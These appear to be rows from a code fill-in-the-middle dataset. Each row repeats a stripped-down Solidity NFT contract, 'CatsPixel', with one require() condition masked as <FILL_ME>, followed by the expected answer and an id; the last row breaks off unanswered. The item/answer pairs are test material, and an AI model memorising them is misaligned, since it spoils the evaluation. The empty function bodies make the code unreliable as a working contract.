* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
pragma solidity >=0.7.0 <0.9.0;
contract CatsPixel is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
struct rank {
uint128 NUMBER_TOKENS;
uint128 REQUIRED_TOKENS_TO_MINT;
}
uint8 private constant NUMBER_OF_CLANS = 20;
mapping(uint256 => rank) public rankInfoAll;
mapping(address => mapping(uint256 => bool)) alreadyReceivedAward;
bool public isPublicSale = false;
bool public isExtraSale = true;
uint256 public maxMintPublicSale = 1;
uint256 public maxMintExtraSale = 1;
string public uriPrefix = "";
string public uriSuffix = ".json";
constructor() ERC721("Cats Pixel", "CP", 1) {
}
modifier alreadyHasAward(uint256 _rank) {
}
// Mint for knights cats
function mint() external nonReentrant alreadyHasAward(0) {
}
// Mint for lord cats
function mintExtra(uint256 _rank) external nonReentrant alreadyHasAward(_rank){
}
function getNumberOfUniqueTokensByAddress(address _owner) public view returns(uint256) {
}
// Secret mint for the winner
function mintEmperor(address to) external onlyOwner nonReentrant {
}
function setPublicSale(bool _isPublicSale) external onlyOwner {
}
function setExtraSale(bool _isExtraSale) external onlyOwner {
}
function setMaxMintPublicSale(uint256 _maxMintPublicSale) external onlyOwner {
}
function setMaxMintExtraSale(uint256 _maxMintExtraSale) external onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function withDrawAll() public payable onlyOwner {
}
}
| _checkOnERC721Received(address(0),to,startTokenId,_data),'ERC721: transfer to non ERC721Receiver implementer' | 79,944 | _checkOnERC721Received(address(0),to,startTokenId,_data) |
"You've already got a cat of this rank!" | pragma solidity >=0.7.0 <0.9.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// Minimum index for each rank
uint256[7] private minIndexForRank = [0, 8000, 8500, 8750, 8870, 8930, 8960];
// Total minted for each rank
uint256[7] private totalMintedPerRank;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Number of Minted Alliance
uint256 internal numMintedOfIronAlliance;
// Number of Minions of Sorrow
uint256 internal numMintedOfMinionsOfSorrow;
// Start token ID
uint256 private _startTokenId;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_, uint256 startTokenId) {
}
function getStartTokenId() internal view virtual returns(uint256) {
}
function currentIndexOfRank(uint256 _rank) internal view returns(uint256) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function _totalMinted(uint256 _rank) public view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function getTokenIdsByAddress(address _owner) public view returns(uint256[] memory) {
}
function checkYourSide(address _owner) public view returns(string memory) {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) public view returns (bool) {
}
function _safeMint(address to, uint256 quantity, uint256 _rank) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data,
uint256 _rank
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe,
uint256 _rank
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity >=0.7.0 <0.9.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
pragma solidity >=0.7.0 <0.9.0;
contract CatsPixel is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
struct rank {
uint128 NUMBER_TOKENS;
uint128 REQUIRED_TOKENS_TO_MINT;
}
uint8 private constant NUMBER_OF_CLANS = 20;
mapping(uint256 => rank) public rankInfoAll;
mapping(address => mapping(uint256 => bool)) alreadyReceivedAward;
bool public isPublicSale = false;
bool public isExtraSale = true;
uint256 public maxMintPublicSale = 1;
uint256 public maxMintExtraSale = 1;
string public uriPrefix = "";
string public uriSuffix = ".json";
constructor() ERC721("Cats Pixel", "CP", 1) {
}
modifier alreadyHasAward(uint256 _rank) {
require(<FILL_ME>)
_;
alreadyReceivedAward[msg.sender][_rank] = true;
}
// Mint for knights cats
function mint() external nonReentrant alreadyHasAward(0) {
}
// Mint for lord cats
function mintExtra(uint256 _rank) external nonReentrant alreadyHasAward(_rank){
}
function getNumberOfUniqueTokensByAddress(address _owner) public view returns(uint256) {
}
// Secret mint for the winner
function mintEmperor(address to) external onlyOwner nonReentrant {
}
function setPublicSale(bool _isPublicSale) external onlyOwner {
}
function setExtraSale(bool _isExtraSale) external onlyOwner {
}
function setMaxMintPublicSale(uint256 _maxMintPublicSale) external onlyOwner {
}
function setMaxMintExtraSale(uint256 _maxMintExtraSale) external onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function withDrawAll() public payable onlyOwner {
}
}
| !alreadyReceivedAward[msg.sender][_rank],"You've already got a cat of this rank!" | 79,944 | !alreadyReceivedAward[msg.sender][_rank] |
"All tokens of current rank are sold out!" | pragma solidity >=0.7.0 <0.9.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// Minimum index for each rank
uint256[7] private minIndexForRank = [0, 8000, 8500, 8750, 8870, 8930, 8960];
// Total minted for each rank
uint256[7] private totalMintedPerRank;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Number of Minted Alliance
uint256 internal numMintedOfIronAlliance;
// Number of Minions of Sorrow
uint256 internal numMintedOfMinionsOfSorrow;
// Start token ID
uint256 private _startTokenId;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_, uint256 startTokenId) {
}
function getStartTokenId() internal view virtual returns(uint256) {
}
function currentIndexOfRank(uint256 _rank) internal view returns(uint256) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function _totalMinted(uint256 _rank) public view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function getTokenIdsByAddress(address _owner) public view returns(uint256[] memory) {
}
function checkYourSide(address _owner) public view returns(string memory) {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) public view returns (bool) {
}
function _safeMint(address to, uint256 quantity, uint256 _rank) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data,
uint256 _rank
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe,
uint256 _rank
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity >=0.7.0 <0.9.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
pragma solidity >=0.7.0 <0.9.0;
contract CatsPixel is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
struct rank {
uint128 NUMBER_TOKENS;
uint128 REQUIRED_TOKENS_TO_MINT;
}
uint8 private constant NUMBER_OF_CLANS = 20;
mapping(uint256 => rank) public rankInfoAll;
mapping(address => mapping(uint256 => bool)) alreadyReceivedAward;
bool public isPublicSale = false;
bool public isExtraSale = true;
uint256 public maxMintPublicSale = 1;
uint256 public maxMintExtraSale = 1;
string public uriPrefix = "";
string public uriSuffix = ".json";
constructor() ERC721("Cats Pixel", "CP", 1) {
}
modifier alreadyHasAward(uint256 _rank) {
}
// Mint for knights cats
function mint() external nonReentrant alreadyHasAward(0) {
uint256 totalCatsMinted = _totalMinted(0);
require(isPublicSale, "The public sale hasn't started yet");
require(msg.sender == tx.origin, "The caller is another contract!");
require(<FILL_ME>)
_safeMint(msg.sender, maxMintPublicSale, 0);
}
// Mint for lord cats
function mintExtra(uint256 _rank) external nonReentrant alreadyHasAward(_rank){
}
function getNumberOfUniqueTokensByAddress(address _owner) public view returns(uint256) {
}
// Secret mint for the winner
function mintEmperor(address to) external onlyOwner nonReentrant {
}
function setPublicSale(bool _isPublicSale) external onlyOwner {
}
function setExtraSale(bool _isExtraSale) external onlyOwner {
}
function setMaxMintPublicSale(uint256 _maxMintPublicSale) external onlyOwner {
}
function setMaxMintExtraSale(uint256 _maxMintExtraSale) external onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function withDrawAll() public payable onlyOwner {
}
}
| totalCatsMinted+maxMintPublicSale<=rankInfoAll[0].NUMBER_TOKENS,"All tokens of current rank are sold out!" | 79,944 | totalCatsMinted+maxMintPublicSale<=rankInfoAll[0].NUMBER_TOKENS |
"All tokens of current rank are sold out!" | pragma solidity >=0.7.0 <0.9.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// Minimum index for each rank
uint256[7] private minIndexForRank = [0, 8000, 8500, 8750, 8870, 8930, 8960];
// Total minted for each rank
uint256[7] private totalMintedPerRank;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Number of Minted Alliance
uint256 internal numMintedOfIronAlliance;
// Number of Minions of Sorrow
uint256 internal numMintedOfMinionsOfSorrow;
// Start token ID
uint256 private _startTokenId;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_, uint256 startTokenId) {
}
function getStartTokenId() internal view virtual returns(uint256) {
}
function currentIndexOfRank(uint256 _rank) internal view returns(uint256) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function _totalMinted(uint256 _rank) public view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function getTokenIdsByAddress(address _owner) public view returns(uint256[] memory) {
}
function checkYourSide(address _owner) public view returns(string memory) {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) public view returns (bool) {
}
function _safeMint(address to, uint256 quantity, uint256 _rank) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data,
uint256 _rank
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe,
uint256 _rank
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity >=0.7.0 <0.9.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
pragma solidity >=0.7.0 <0.9.0;
contract CatsPixel is ERC721, Ownable, ReentrancyGuard {
using Strings for uint256;
struct rank {
uint128 NUMBER_TOKENS;
uint128 REQUIRED_TOKENS_TO_MINT;
}
uint8 private constant NUMBER_OF_CLANS = 20;
mapping(uint256 => rank) public rankInfoAll;
mapping(address => mapping(uint256 => bool)) alreadyReceivedAward;
bool public isPublicSale = false;
bool public isExtraSale = true;
uint256 public maxMintPublicSale = 1;
uint256 public maxMintExtraSale = 1;
string public uriPrefix = "";
string public uriSuffix = ".json";
constructor() ERC721("Cats Pixel", "CP", 1) {
}
modifier alreadyHasAward(uint256 _rank) {
}
// Mint for knights cats
function mint() external nonReentrant alreadyHasAward(0) {
}
// Mint for lord cats
function mintExtra(uint256 _rank) external nonReentrant alreadyHasAward(_rank){
uint256 totalCatsMinted = _totalMinted(_rank);
require(_rank > 0 && _rank <= 5, "Invalid rank");
require(isExtraSale, "The extra sale hasnt started yet");
require(msg.sender == tx.origin, "The caller is another contract!");
require(<FILL_ME>)
